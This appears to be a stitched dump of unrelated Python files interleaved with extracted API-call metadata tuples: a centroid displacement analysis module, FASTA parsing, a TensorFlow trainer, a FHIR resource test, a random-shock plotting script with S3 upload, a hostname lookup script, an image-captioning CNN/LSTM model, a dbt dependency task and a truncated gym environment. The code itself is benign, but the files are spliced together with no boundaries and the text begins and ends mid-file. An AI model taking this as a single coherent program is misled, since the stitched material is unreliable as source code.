] | [((2292, 2331), 'tests.utils.add_blocks_unlock_reward', 'add_blocks_unlock_reward', (['self.manager1'], {}), '(self.manager1)\n', (2316, 2331), False, 'from tests.utils import add_blocks_unlock_reward\n'), ((2929, 2968), 'hathor.simulator.FakeConnection', 'FakeConnection', (['self.manager1', 'manager2'], {}), '(self.manager1, manager2)\n', (2943, 2968), False, 'from hathor.simulator import FakeConnection\n'), ((1532, 1568), 'random.choice', 'random.choice', (['[5, 10, 50, 100, 120]'], {}), '([5, 10, 50, 100, 120])\n', (1545, 1568), False, 'import random\n'), ((893, 916), 'hathor.crypto.util.decode_address', 'decode_address', (['address'], {}), '(address)\n', (907, 916), False, 'from hathor.crypto.util import decode_address\n'), ((2635, 2731), 'hathor.graphviz.GraphvizVisualizer', 'GraphvizVisualizer', (['self.manager1.tx_storage'], {'include_verifications': '(True)', 'include_funds': '(True)'}), '(self.manager1.tx_storage, include_verifications=True,\n include_funds=True)\n', (2653, 2731), False, 'from hathor.graphviz import GraphvizVisualizer\n')] |
import math
import os
from collections import Counter, defaultdict
from json_to_timedict import json_to_timedict
import numpy as np
from centroid_history import get_centroid_area_history, displacement_history
from file_utils import basename
def analyze_centroid_area_history(files, num_frames_per_iteration=1800, key_format="from_to"):
"""
Given an array of file names,
get centroid area history iteratively over 30 mins of frames.
Args:
files ([type]): [description]
num_frames (int, optional): [description]. Defaults to 1800 (30 mins).
"""
total_frames = len(files) # each frame is 1 second
analysis_results = {}
counter = 0
while counter < total_frames:
start_index = counter
if counter + num_frames_per_iteration > total_frames:
end_index = total_frames
else:
end_index = counter + num_frames_per_iteration
area_movement_counter = get_centroid_area_history(files[start_index:end_index], debug=False, key_format="from_to")
dictkey = basename(files[start_index])
analysis_results[dictkey] = {
"keyformat": "from_to",
"duration": end_index - start_index,
"analysis": area_movement_counter
}
counter += num_frames_per_iteration
return analysis_results
def analyze_centroid_displacement_history(files, num_frames_per_iteration=1800):
"""
Given an array of file names,
get centroid displacement history iteratively over 30 mins of frames.
Args:
files ([type]): [description]
num_frames (int, optional): [description]. Defaults to 1800 (30 mins).
"""
total_frames = len(files)
analysis_results = {}
counter = 0
num_interval = 1
while counter < total_frames:
start_index = counter
if counter + num_frames_per_iteration > total_frames:
end_index = total_frames
else:
end_index = counter + num_frames_per_iteration
print("running analysis for {} - {}".format(start_index, end_index))
startTime = basename(files[start_index])
endTime = basename(files[end_index])
displacement_dict = {num_interval: displacement_history(files[start_index:end_index], startTime, endTime)}
analysis_results = {**analysis_results, **displacement_dict}
counter += num_frames_per_iteration
num_interval += 1
return analysis_results
| [
"centroid_history.displacement_history",
"centroid_history.get_centroid_area_history",
"file_utils.basename"
] | [((997, 1091), 'centroid_history.get_centroid_area_history', 'get_centroid_area_history', (['files[start_index:end_index]'], {'debug': '(False)', 'key_format': '"""from_to"""'}), "(files[start_index:end_index], debug=False,\n key_format='from_to')\n", (1022, 1091), False, 'from centroid_history import get_centroid_area_history, displacement_history\n'), ((1107, 1135), 'file_utils.basename', 'basename', (['files[start_index]'], {}), '(files[start_index])\n', (1115, 1135), False, 'from file_utils import basename\n'), ((2198, 2226), 'file_utils.basename', 'basename', (['files[start_index]'], {}), '(files[start_index])\n', (2206, 2226), False, 'from file_utils import basename\n'), ((2246, 2272), 'file_utils.basename', 'basename', (['files[end_index]'], {}), '(files[end_index])\n', (2254, 2272), False, 'from file_utils import basename\n'), ((2317, 2387), 'centroid_history.displacement_history', 'displacement_history', (['files[start_index:end_index]', 'startTime', 'endTime'], {}), '(files[start_index:end_index], startTime, endTime)\n', (2337, 2387), False, 'from centroid_history import get_centroid_area_history, displacement_history\n')] |
import re
def sam(args_query):
with args_query as f:
que_sam = [s.strip() for s in f]
return que_sam
def fasta(args_reference):
regex = re.compile("(>.*?)\n([ATGCNatgcn\n]*)", re.DOTALL)
with open(args_reference, 'r') as f:
content = f.read()
fasta_dict = {}
for i in re.findall(regex, content):
fasta_dict[i[0].replace(">", "")] = i[1].replace('\n', '').upper()
return fasta_dict
| [
"re.findall",
"re.compile"
] | [((160, 212), 're.compile', 're.compile', (['"""(>.*?)\n([ATGCNatgcn\n]*)"""', 're.DOTALL'], {}), '("""(>.*?)\n([ATGCNatgcn\n]*)""", re.DOTALL)\n', (170, 212), False, 'import re\n'), ((320, 346), 're.findall', 're.findall', (['regex', 'content'], {}), '(regex, content)\n', (330, 346), False, 'import re\n')] |
import matplotlib.pyplot as plt
import tensorflow as tf
import numpy as np
import os
class Trainer(object):
def __init__(self, sess, epoch=None, print_every=100):
"""
Initialize Trainer variables
Input:
- sess: tf.sess declared outside Trainer
- epoch: the number of epoch we need to train
- print_every: how often we print the result
"""
self.epoch = epoch
self.print_every = print_every
self.sess = sess
return
def train(self, objective_fun, feed_dict, feed_dict_test, learn_r, x, y, record):
"""
Train the model.
Input:
- objective_fun: the objective function of the model.
- feed_dict: feed_dict which contains trzining data.
- fedd_dict_test: feed_dict which contains testing data.
- learn_r: learning rate of optimization.
- x: input placeholder.
- y: ground truth placeholder.
- record: the record of training on testing data.
"""
merged = tf.summary.merge_all()
writer_train = tf.summary.FileWriter('logs/train/', self.sess.graph)
writer_test = tf.summary.FileWriter('logs/test/')
self.sess.run(tf.global_variables_initializer())
train_step = tf.train.GradientDescentOptimizer(learn_r).minimize(objective_fun)
for epoch in range(self.epoch):
summary_train, _ = self.sess.run([merged, train_step], feed_dict=feed_dict)
if epoch % self.print_every == 0:
loss = self.sess.run(objective_fun, feed_dict=feed_dict)
print('loss:', loss)
summary_test = self.sess.run(record, feed_dict=feed_dict_test)
writer_train.add_summary(summary_train, epoch)
writer_test.add_summary(summary_test, epoch)
return
def result(self, x, y, prediction, feed_dict):
"""
Show the result.
- x: input data
- y: output data
- prediction: prediction tensor
- feed_dict: feed_dict to sess.run
"""
y_pred = self.sess.run(prediction, feed_dict=feed_dict)
plt.plot(x, y, 'o', x, y_pred, lw = 3)
plt.savefig('result/result.png')
return
| [
"tensorflow.summary.merge_all",
"matplotlib.pyplot.savefig",
"matplotlib.pyplot.plot",
"tensorflow.global_variables_initializer",
"tensorflow.train.GradientDescentOptimizer",
"tensorflow.summary.FileWriter"
] | [((1060, 1082), 'tensorflow.summary.merge_all', 'tf.summary.merge_all', ([], {}), '()\n', (1080, 1082), True, 'import tensorflow as tf\n'), ((1106, 1159), 'tensorflow.summary.FileWriter', 'tf.summary.FileWriter', (['"""logs/train/"""', 'self.sess.graph'], {}), "('logs/train/', self.sess.graph)\n", (1127, 1159), True, 'import tensorflow as tf\n'), ((1182, 1217), 'tensorflow.summary.FileWriter', 'tf.summary.FileWriter', (['"""logs/test/"""'], {}), "('logs/test/')\n", (1203, 1217), True, 'import tensorflow as tf\n'), ((2165, 2201), 'matplotlib.pyplot.plot', 'plt.plot', (['x', 'y', '"""o"""', 'x', 'y_pred'], {'lw': '(3)'}), "(x, y, 'o', x, y_pred, lw=3)\n", (2173, 2201), True, 'import matplotlib.pyplot as plt\n'), ((2212, 2244), 'matplotlib.pyplot.savefig', 'plt.savefig', (['"""result/result.png"""'], {}), "('result/result.png')\n", (2223, 2244), True, 'import matplotlib.pyplot as plt\n'), ((1240, 1273), 'tensorflow.global_variables_initializer', 'tf.global_variables_initializer', ([], {}), '()\n', (1271, 1273), True, 'import tensorflow as tf\n'), ((1297, 1339), 'tensorflow.train.GradientDescentOptimizer', 'tf.train.GradientDescentOptimizer', (['learn_r'], {}), '(learn_r)\n', (1330, 1339), True, 'import tensorflow as tf\n')] |
# -*- coding: utf-8 -*-
"""
Profile: http://hl7.org/fhir/StructureDefinition/ClinicalUseIssue
Release: R5
Version: 4.5.0
Build ID: 0d95498
Last updated: 2021-04-03T00:34:11.075+00:00
"""
from pydantic.validators import bytes_validator # noqa: F401
from fhir.resources import fhirtypes # noqa: F401
from fhir.resources import clinicaluseissue
def impl_clinicaluseissue_1(inst):
assert (
inst.contraindication.comorbidity[0].concept.coding[0].code == "Hepaticdisease"
)
assert (
inst.contraindication.comorbidity[0].concept.coding[0].system
== "http://ema.europa.eu/example/comorbidity"
)
assert (
inst.contraindication.diseaseSymptomProcedure.concept.coding[0].code
== "Coagulopathiesandbleedingdiatheses(exclthrombocytopenic)"
)
assert inst.contraindication.diseaseSymptomProcedure.concept.coding[0].system == (
"http://ema.europa.eu/example/contraindicationsasdisease-" "symptom-procedure"
)
assert inst.contraindication.diseaseSymptomProcedure.concept.text == (
"Hepatic disease associated with coagulopathy and clinically "
"relevant bleeding risk"
)
assert inst.id == "example"
assert inst.meta.tag[0].code == "HTEST"
assert inst.meta.tag[0].display == "test health data"
assert (
inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason"
)
assert inst.text.status == "generated"
assert inst.type == "contraindication"
def test_clinicaluseissue_1(base_settings):
"""No. 1 tests collection for ClinicalUseIssue.
Test File: clinicaluseissue-example.json
"""
filename = base_settings["unittest_data_dir"] / "clinicaluseissue-example.json"
inst = clinicaluseissue.ClinicalUseIssue.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "ClinicalUseIssue" == inst.resource_type
impl_clinicaluseissue_1(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "ClinicalUseIssue" == data["resourceType"]
inst2 = clinicaluseissue.ClinicalUseIssue(**data)
impl_clinicaluseissue_1(inst2)
| [
"fhir.resources.clinicaluseissue.ClinicalUseIssue.parse_file",
"fhir.resources.clinicaluseissue.ClinicalUseIssue"
] | [((1735, 1845), 'fhir.resources.clinicaluseissue.ClinicalUseIssue.parse_file', 'clinicaluseissue.ClinicalUseIssue.parse_file', (['filename'], {'content_type': '"""application/json"""', 'encoding': '"""utf-8"""'}), "(filename, content_type=\n 'application/json', encoding='utf-8')\n", (1779, 1845), False, 'from fhir.resources import clinicaluseissue\n'), ((2104, 2145), 'fhir.resources.clinicaluseissue.ClinicalUseIssue', 'clinicaluseissue.ClinicalUseIssue', ([], {}), '(**data)\n', (2137, 2145), False, 'from fhir.resources import clinicaluseissue\n')] |
"""
The :mod:`pyfan.graph.example.scatterline3` generates a graprh with three lines.
This is the functionalized vesrion of `plot_randgrid Example <https://pyfan.readthedocs.io/en/latest/auto_examples/plot_randgrid.html#sphx-glr-auto-examples-plot-randgrid-py>`_.
Includes method :func:`gph_scatter_line_rand`.
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import pyfan.gen.rand.randgrid as pyfan_gen_rand
import pyfan.aws.general.path as pyfan_path
import pyfan.util.timer.timer as pyfan_timer
import argparse
import sys
import os
# Parse Inputs to be used commandline
parser = argparse.ArgumentParser()
parser.add_argument('-A', dest="st_s3_bucket", help="s3 bucket to store output images", default='fans3testbucket')
parser.add_argument('-B', dest="it_seed", help="random seed", type=int, default=666)
args = parser.parse_args()
def gph_scatter_line_rand(fl_mu=0, fl_sd=1,
it_draws=25, it_seed=123,
fl_lower_sd=-2, fl_higher_sd=2,
bl_show_fig=True, bl_save_fig=False,
st_s3_bucket='fans3testbucket'):
"""A randomly generated graph with scatter plot and lines.
Parameters
----------
fl_mu, fl_sd : `float`, optional
The mean and standard deviation of the normal process for lines
it_draws: `integer`, optional
Number of Draws lines
it_seed: `integer`, optional
External random seed externally. Default is 123. for lines
fl_lower_sd, fl_higher_sd : `float`, optional
Impose lower and upper bounds (in sd units) on shock draws. The normal
distribution does not have lower or upper bounds.
bl_show_fig: `bool`, optional
Show graph in documentation if needed. When storing graph to disc and uploading
to s3, do not need to show.
Returns
-------
pandas.DataFrame of shape (`it_draws`, 4)
A pandas dataframe with `it_draws` number of rows and four columns. First
for x values, the next three for three types of randomly generated variables
that are been plotted out.
Examples
--------
>>> fl_mu = 0
>>> fl_sd = 1
>>> it_draws = 20
>>> it_seed = 456
>>> fl_lower_sd = -1
>>> fl_higher_sd = 0.8
>>> scatter_line_rand_graph(fl_mu, fl_sd,
... it_draws, it_seed,
... fl_lower_sd, fl_higher_sd)
x shk_t0 shk_t1 shk_t2
1 1.0 -0.668129 -2.000000 -2.000000
2 2.0 -0.498210 -1.533950 -1.130231
3 3.0 0.618576 -1.268601 -1.111846
4 4.0 0.568692 -1.071098 -0.971485
5 5.0 1.350509 -0.908400 -0.668129
6 6.0 1.629589 -0.766786 -0.498210
7 7.0 0.301966 -0.639112 -0.384060
8 8.0 0.449483 -0.521108 -0.345811
9 9.0 -0.345811 -0.409963 -0.325130
10 10.0 -0.315231 -0.303676 -0.315231
11 11.0 -2.000000 -0.200721 -0.106208
12 12.0 -1.130231 -0.099856 -0.088752
13 13.0 -1.111846 0.000000 0.237851
14 14.0 0.237851 0.099856 0.301966
15 15.0 -0.325130 0.200721 0.449483
16 16.0 1.944702 0.303676 0.568692
17 17.0 1.915676 0.409963 0.618576
18 18.0 0.920348 0.521108 0.920348
19 19.0 0.936398 0.639112 0.936398
20 20.0 1.157552 0.766786 1.139873
21 21.0 -0.106208 0.908400 1.157552
22 22.0 -0.088752 1.071098 1.350509
23 23.0 -0.971485 1.268601 1.629589
24 24.0 -0.384060 1.533950 1.915676
25 25.0 1.139873 2.000000 1.944702
"""
# Type 0 Shock draw
it_draw_type = 0
ar_shock_t0 = \
pyfan_gen_rand.ar_draw_random_normal(fl_mu, fl_sd, it_draws,
it_seed, it_draw_type,
fl_lower_sd, fl_higher_sd)
# Type 1 Shock draw
it_draw_type = 1
ar_shock_t1 = \
pyfan_gen_rand.ar_draw_random_normal(fl_mu, fl_sd, it_draws,
it_seed, it_draw_type,
fl_lower_sd, fl_higher_sd)
# Type 2 Shock draw
it_draw_type = 2
ar_shock_t2 = \
pyfan_gen_rand.ar_draw_random_normal(fl_mu, fl_sd, it_draws,
it_seed, it_draw_type,
fl_lower_sd, fl_higher_sd)
# Draw Shocks Jointly
fig, ax = plt.subplots()
# Graph
ar_it_x_grid = np.arange(1, it_draws + 1)
ax.plot(ar_it_x_grid, ar_shock_t0,
color='blue', linestyle='dashed', marker='x',
label='Type 0: Bounded Shock Draws')
ax.scatter(ar_it_x_grid, ar_shock_t1,
color='red',
label='Type 1: Quantile Points')
ax.plot(ar_it_x_grid, ar_shock_t2,
color='black', marker='d',
label='Type 3: Sorted Bounded Shock Draws')
# Labeling
ax.legend(loc='upper left')
plt.ylabel('Shock Values')
plt.xlabel('Shock Draw Points')
plt.title('Shock, Sorted and Bounded Shocks, Quantile Points')
plt.grid()
if bl_show_fig:
plt.show()
if bl_save_fig:
sna_image_name = 'f_' + pyfan_timer.getDateTime(8) +'_s' + str(it_seed)
srt_s3_bucket_folder = 'pyfan_gph_scatter_line_rand'
pyfan_path.save_img(plt, sna_image_name,
dpi=300, papertype='a4',
orientation='horizontal',
bl_upload_s3=True, st_s3_bucket=st_s3_bucket,
srt_s3_bucket_folder=srt_s3_bucket_folder)
# %%
# Upload a local image
# ------------------------
mt_shocks = np.column_stack([ar_it_x_grid, ar_shock_t0, ar_shock_t1, ar_shock_t2])
df_shocks = pd.DataFrame(data=mt_shocks,
index=range(1, mt_shocks.shape[0] + 1),
columns=['x', 'shk_t0', 'shk_t1', 'shk_t2'])
return df_shocks
if __name__ == "__main__":
# Run on command line, might need to install latest file locally first
# conda activate base
# cd "C:/Users/fan/pyfan/"
# python setup.py install --user
# python C:/Users/fan/pyfan/pyfan/graph/exa/scatterline3.py -A fans3testbucket -B 1
# python /pyfan/pyfan/graph/exa/scatterline3.py -A fans3testbucket -B 1
# This is an AWS Batch run with Job Array Index for Parallel processing
# With this, only one job needs to be specified
if "AWS_BATCH_JOB_ARRAY_INDEX" in os.environ:
print('AWS_BATCH_JOB_ARRAY_INDEX')
it_seed_arg = os.environ['AWS_BATCH_JOB_ARRAY_INDEX']
it_seed_arg = int(it_seed_arg)
else:
it_seed_arg = args.it_seed
print(it_seed_arg)
gph_scatter_line_rand(fl_mu=0, fl_sd=1,
it_draws=25, it_seed=it_seed_arg,
fl_lower_sd=-2, fl_higher_sd=2,
bl_show_fig=False, bl_save_fig=True,
st_s3_bucket=args.st_s3_bucket)
| [
"matplotlib.pyplot.grid",
"pyfan.util.timer.timer.getDateTime",
"argparse.ArgumentParser",
"matplotlib.pyplot.ylabel",
"pyfan.aws.general.path.save_img",
"matplotlib.pyplot.xlabel",
"numpy.column_stack",
"pyfan.gen.rand.randgrid.ar_draw_random_normal",
"matplotlib.pyplot.title",
"matplotlib.pyplot... | [((611, 636), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (634, 636), False, 'import argparse\n'), ((3535, 3649), 'pyfan.gen.rand.randgrid.ar_draw_random_normal', 'pyfan_gen_rand.ar_draw_random_normal', (['fl_mu', 'fl_sd', 'it_draws', 'it_seed', 'it_draw_type', 'fl_lower_sd', 'fl_higher_sd'], {}), '(fl_mu, fl_sd, it_draws, it_seed,\n it_draw_type, fl_lower_sd, fl_higher_sd)\n', (3571, 3649), True, 'import pyfan.gen.rand.randgrid as pyfan_gen_rand\n'), ((3810, 3924), 'pyfan.gen.rand.randgrid.ar_draw_random_normal', 'pyfan_gen_rand.ar_draw_random_normal', (['fl_mu', 'fl_sd', 'it_draws', 'it_seed', 'it_draw_type', 'fl_lower_sd', 'fl_higher_sd'], {}), '(fl_mu, fl_sd, it_draws, it_seed,\n it_draw_type, fl_lower_sd, fl_higher_sd)\n', (3846, 3924), True, 'import pyfan.gen.rand.randgrid as pyfan_gen_rand\n'), ((4085, 4199), 'pyfan.gen.rand.randgrid.ar_draw_random_normal', 'pyfan_gen_rand.ar_draw_random_normal', (['fl_mu', 'fl_sd', 'it_draws', 'it_seed', 'it_draw_type', 'fl_lower_sd', 'fl_higher_sd'], {}), '(fl_mu, fl_sd, it_draws, it_seed,\n it_draw_type, fl_lower_sd, fl_higher_sd)\n', (4121, 4199), True, 'import pyfan.gen.rand.randgrid as pyfan_gen_rand\n'), ((4327, 4341), 'matplotlib.pyplot.subplots', 'plt.subplots', ([], {}), '()\n', (4339, 4341), True, 'import matplotlib.pyplot as plt\n'), ((4373, 4399), 'numpy.arange', 'np.arange', (['(1)', '(it_draws + 1)'], {}), '(1, it_draws + 1)\n', (4382, 4399), True, 'import numpy as np\n'), ((4849, 4875), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""Shock Values"""'], {}), "('Shock Values')\n", (4859, 4875), True, 'import matplotlib.pyplot as plt\n'), ((4880, 4911), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""Shock Draw Points"""'], {}), "('Shock Draw Points')\n", (4890, 4911), True, 'import matplotlib.pyplot as plt\n'), ((4916, 4978), 'matplotlib.pyplot.title', 'plt.title', (['"""Shock, Sorted and Bounded Shocks, Quantile Points"""'], {}), "('Shock, Sorted and Bounded Shocks, Quantile Points')\n", (4925, 4978), True, 'import matplotlib.pyplot as plt\n'), ((4983, 4993), 'matplotlib.pyplot.grid', 'plt.grid', ([], {}), '()\n', (4991, 4993), True, 'import matplotlib.pyplot as plt\n'), ((5580, 5650), 'numpy.column_stack', 'np.column_stack', (['[ar_it_x_grid, ar_shock_t0, ar_shock_t1, ar_shock_t2]'], {}), '([ar_it_x_grid, ar_shock_t0, ar_shock_t1, ar_shock_t2])\n', (5595, 5650), True, 'import numpy as np\n'), ((5022, 5032), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (5030, 5032), True, 'import matplotlib.pyplot as plt\n'), ((5203, 5391), 'pyfan.aws.general.path.save_img', 'pyfan_path.save_img', (['plt', 'sna_image_name'], {'dpi': '(300)', 'papertype': '"""a4"""', 'orientation': '"""horizontal"""', 'bl_upload_s3': '(True)', 'st_s3_bucket': 'st_s3_bucket', 'srt_s3_bucket_folder': 'srt_s3_bucket_folder'}), "(plt, sna_image_name, dpi=300, papertype='a4',\n orientation='horizontal', bl_upload_s3=True, st_s3_bucket=st_s3_bucket,\n srt_s3_bucket_folder=srt_s3_bucket_folder)\n", (5222, 5391), True, 'import pyfan.aws.general.path as pyfan_path\n'), ((5085, 5111), 'pyfan.util.timer.timer.getDateTime', 'pyfan_timer.getDateTime', (['(8)'], {}), '(8)\n', (5108, 5111), True, 'import pyfan.util.timer.timer as pyfan_timer\n')] |
import socket
print(" _____ _ _____ _ _ ")
print(" | __ \ | | / ____| (_) | ")
print(" | | | | __ _ _ __| |_ _____| (___ ___ ___ _ _ _ __ _| |_ _ _ ")
print(" | | | |/ _` | '__| __|______\___ \ / _ \/ __| | | | '__| | __| | | |")
print(" | |__| | (_| | | | |_ ____) | __/ (__| |_| | | | | |_| |_| |")
print(" |_____/ \__,_|_| \__| |_____/ \___|\___|\__,_|_| |_|\__|\__, |")
print(" __/ |")
print(" www.hc-security.com.mx by:Equinockx |___/ ")
print(" ")
print("Ingresa la Url:")
url = input()
try:
print("---" * 20)
print(f"La URL ingresada es: {url}")
print("Nombre del Dominio completo: \n" + socket.getfqdn(url))
print("Nombre de Host a direccion IP: \n" + socket.gethostbyname(url))
print("Nombre de host para extender la dirección IP: \n" + str(socket.gethostbyname_ex(url)))
print("Host de solicitud: \n" + socket.gethostname())
print("---" * 20)
except Exception as err:
print("Error" + str(err))
| [
"socket.gethostbyname_ex",
"socket.gethostbyname",
"socket.gethostname",
"socket.getfqdn"
] | [((887, 906), 'socket.getfqdn', 'socket.getfqdn', (['url'], {}), '(url)\n', (901, 906), False, 'import socket\n'), ((955, 980), 'socket.gethostbyname', 'socket.gethostbyname', (['url'], {}), '(url)\n', (975, 980), False, 'import socket\n'), ((1114, 1134), 'socket.gethostname', 'socket.gethostname', ([], {}), '()\n', (1132, 1134), False, 'import socket\n'), ((1049, 1077), 'socket.gethostbyname_ex', 'socket.gethostbyname_ex', (['url'], {}), '(url)\n', (1072, 1077), False, 'import socket\n')] |
import torch
import torch.nn as nn
import torchvision.models as models
class EncoderCNN(nn.Module):
def __init__(self, embed_size):
super(EncoderCNN, self).__init__()
resnet = models.resnet50(pretrained=True)
for param in resnet.parameters():
param.requires_grad_(False)
modules = list(resnet.children())[:-1]
self.resnet = nn.Sequential(*modules)
self.embed = nn.Linear(resnet.fc.in_features, embed_size)
def forward(self, images):
features = self.resnet(images)
features = features.view(features.size(0), -1)
features = self.embed(features)
return features
class DecoderRNN(nn.Module):
def __init__(self, embed_size, hidden_size, vocab_size, num_layers=1):
super(DecoderRNN, self).__init__()
self.hidden_size = hidden_size
self.vocab_size = vocab_size
self.num_layers = num_layers
self.embed_size = embed_size
self.word_embeddings = nn.Embedding(vocab_size, embed_size)
self.linear = nn.Linear(in_features=hidden_size, out_features=vocab_size)
self.lstm = nn.LSTM(input_size=embed_size,
hidden_size=hidden_size,
num_layers=num_layers,
batch_first=True)
#initialize weights
self.init_weights()
def init_weights(self):
torch.nn.init.xavier_uniform_(self.linear.weight)
torch.nn.init.xavier_uniform_(self.word_embeddings.weight)
def init_hidden_weights(self, batch_size):
device = torch.device('cuda:0' if torch.cuda.is_available() else "cpu")
return torch.zeros(1, batch_size, self.hidden_size).to(device), torch.zeros(1, batch_size, self.hidden_size).to(device)
def forward(self, features, captions):
captions = captions[:,:-1]
embeds = self.word_embeddings(captions)
self.batch_size = features.shape[0]
self.hidden = self.init_hidden_weights(self.batch_size)
features = features.unsqueeze(1)
inputs = torch.cat((features,embeds), dim=1)
lstm_out, self.hidden = self.lstm(inputs, self.hidden)
outputs = self.linear(lstm_out)
return outputs
def sample(self, inputs, states=None, max_len=20):
" accepts pre-processed image tensor (inputs) and returns predicted sentence (list of tensor ids of length max_len) "
preds = []
count = 0
word_item = None
while count < max_len and word_item != 1 :
#Predict output
lstm_out, states = self.lstm(inputs, states)
output = self.linear(lstm_out)
#Get max value
prob, word = output.max(2)
#append word
word_item = word.item()
preds.append(word_item)
#next input is current prediction
inputs = self.word_embeddings(word)
count+=1
return preds | [
"torch.nn.Sequential",
"torch.nn.LSTM",
"torch.nn.init.xavier_uniform_",
"torch.cat",
"torch.cuda.is_available",
"torch.nn.Linear",
"torchvision.models.resnet50",
"torch.zeros",
"torch.nn.Embedding"
] | [((197, 229), 'torchvision.models.resnet50', 'models.resnet50', ([], {'pretrained': '(True)'}), '(pretrained=True)\n', (212, 229), True, 'import torchvision.models as models\n'), ((390, 413), 'torch.nn.Sequential', 'nn.Sequential', (['*modules'], {}), '(*modules)\n', (403, 413), True, 'import torch.nn as nn\n'), ((435, 479), 'torch.nn.Linear', 'nn.Linear', (['resnet.fc.in_features', 'embed_size'], {}), '(resnet.fc.in_features, embed_size)\n', (444, 479), True, 'import torch.nn as nn\n'), ((1013, 1049), 'torch.nn.Embedding', 'nn.Embedding', (['vocab_size', 'embed_size'], {}), '(vocab_size, embed_size)\n', (1025, 1049), True, 'import torch.nn as nn\n'), ((1072, 1131), 'torch.nn.Linear', 'nn.Linear', ([], {'in_features': 'hidden_size', 'out_features': 'vocab_size'}), '(in_features=hidden_size, out_features=vocab_size)\n', (1081, 1131), True, 'import torch.nn as nn\n'), ((1152, 1253), 'torch.nn.LSTM', 'nn.LSTM', ([], {'input_size': 'embed_size', 'hidden_size': 'hidden_size', 'num_layers': 'num_layers', 'batch_first': '(True)'}), '(input_size=embed_size, hidden_size=hidden_size, num_layers=\n num_layers, batch_first=True)\n', (1159, 1253), True, 'import torch.nn as nn\n'), ((1451, 1500), 'torch.nn.init.xavier_uniform_', 'torch.nn.init.xavier_uniform_', (['self.linear.weight'], {}), '(self.linear.weight)\n', (1480, 1500), False, 'import torch\n'), ((1509, 1567), 'torch.nn.init.xavier_uniform_', 'torch.nn.init.xavier_uniform_', (['self.word_embeddings.weight'], {}), '(self.word_embeddings.weight)\n', (1538, 1567), False, 'import torch\n'), ((2157, 2193), 'torch.cat', 'torch.cat', (['(features, embeds)'], {'dim': '(1)'}), '((features, embeds), dim=1)\n', (2166, 2193), False, 'import torch\n'), ((1677, 1702), 'torch.cuda.is_available', 'torch.cuda.is_available', ([], {}), '()\n', (1700, 1702), False, 'import torch\n'), ((1739, 1783), 'torch.zeros', 'torch.zeros', (['(1)', 'batch_size', 'self.hidden_size'], {}), '(1, batch_size, self.hidden_size)\n', (1750, 1783), False, 'import torch\n'), ((1796, 1840), 'torch.zeros', 'torch.zeros', (['(1)', 'batch_size', 'self.hidden_size'], {}), '(1, batch_size, self.hidden_size)\n', (1807, 1840), False, 'import torch\n')] |
import os
import errno
import re
import dbt.clients.git
import dbt.clients.system
import dbt.project as project
from dbt.compat import basestring
from dbt.logger import GLOBAL_LOGGER as logger
from dbt.task.base_task import BaseTask
def folder_from_git_remote(remote_spec):
start = remote_spec.rfind('/') + 1
end = len(remote_spec) - (4 if remote_spec.endswith('.git') else 0)
return remote_spec[start:end]
class DepsTask(BaseTask):
def __pull_repo(self, repo, branch=None):
modules_path = self.project['modules-path']
out, err = dbt.clients.git.clone(repo, modules_path)
exists = re.match("fatal: destination path '(.+)' already exists",
err.decode('utf-8'))
folder = None
start_sha = None
if exists:
folder = exists.group(1)
logger.info('Updating existing dependency {}.'.format(folder))
else:
matches = re.match("Cloning into '(.+)'", err.decode('utf-8'))
folder = matches.group(1)
logger.info('Pulling new dependency {}.'.format(folder))
dependency_path = os.path.join(modules_path, folder)
start_sha = dbt.clients.git.get_current_sha(dependency_path)
dbt.clients.git.checkout(dependency_path, repo, branch)
end_sha = dbt.clients.git.get_current_sha(dependency_path)
if exists:
if start_sha == end_sha:
logger.info(' Already at {}, nothing to do.'.format(
start_sha[:7]))
else:
logger.info(' Updated checkout from {} to {}.'.format(
start_sha[:7], end_sha[:7]))
else:
logger.info(' Checked out at {}.'.format(end_sha[:7]))
return folder
def __split_at_branch(self, repo_spec):
parts = repo_spec.split("@")
error = RuntimeError(
"Invalid dep specified: '{}' -- not a repo we can clone".format(
repo_spec
)
)
repo = None
if repo_spec.startswith("git@"):
if len(parts) == 1:
raise error
if len(parts) == 2:
repo, branch = repo_spec, None
elif len(parts) == 3:
repo, branch = "@".join(parts[:2]), parts[2]
else:
if len(parts) == 1:
repo, branch = parts[0], None
elif len(parts) == 2:
repo, branch = parts
if repo is None:
raise error
return repo, branch
def __pull_deps_recursive(self, repos, processed_repos=None, i=0):
if processed_repos is None:
processed_repos = set()
for repo_string in repos:
repo, branch = self.__split_at_branch(repo_string)
repo_folder = folder_from_git_remote(repo)
try:
if repo_folder in processed_repos:
logger.info(
"skipping already processed dependency {}"
.format(repo_folder)
)
else:
dep_folder = self.__pull_repo(repo, branch)
dep_project = project.read_project(
os.path.join(self.project['modules-path'],
dep_folder,
'dbt_project.yml'),
self.project.profiles_dir,
profile_to_load=self.project.profile_to_load
)
processed_repos.add(dep_folder)
self.__pull_deps_recursive(
dep_project['repositories'], processed_repos, i+1
)
except IOError as e:
if e.errno == errno.ENOENT:
error_string = basestring(e)
if 'dbt_project.yml' in error_string:
error_string = ("'{}' is not a valid dbt project - "
"dbt_project.yml not found"
.format(repo))
elif 'git' in error_string:
error_string = ("Git CLI is a dependency of dbt, but "
"it is not installed!")
raise dbt.exceptions.RuntimeException(error_string)
else:
raise e
def run(self):
dbt.clients.system.make_directory(self.project['modules-path'])
self.__pull_deps_recursive(self.project['repositories'])
| [
"dbt.compat.basestring",
"os.path.join"
] | [((1138, 1172), 'os.path.join', 'os.path.join', (['modules_path', 'folder'], {}), '(modules_path, folder)\n', (1150, 1172), False, 'import os\n'), ((3255, 3328), 'os.path.join', 'os.path.join', (["self.project['modules-path']", 'dep_folder', '"""dbt_project.yml"""'], {}), "(self.project['modules-path'], dep_folder, 'dbt_project.yml')\n", (3267, 3328), False, 'import os\n'), ((3854, 3867), 'dbt.compat.basestring', 'basestring', (['e'], {}), '(e)\n', (3864, 3867), False, 'from dbt.compat import basestring\n')] |
import gym
from gym import error, spaces, utils
from gym.utils import seeding
import numpy as np
import torch
import random
import sys
import os
class UDNEnv(gym.Env):
metadata = {}
def __init__(self):
self.BSposition = np.loadtxt('BSposition.csv', delimiter=',')
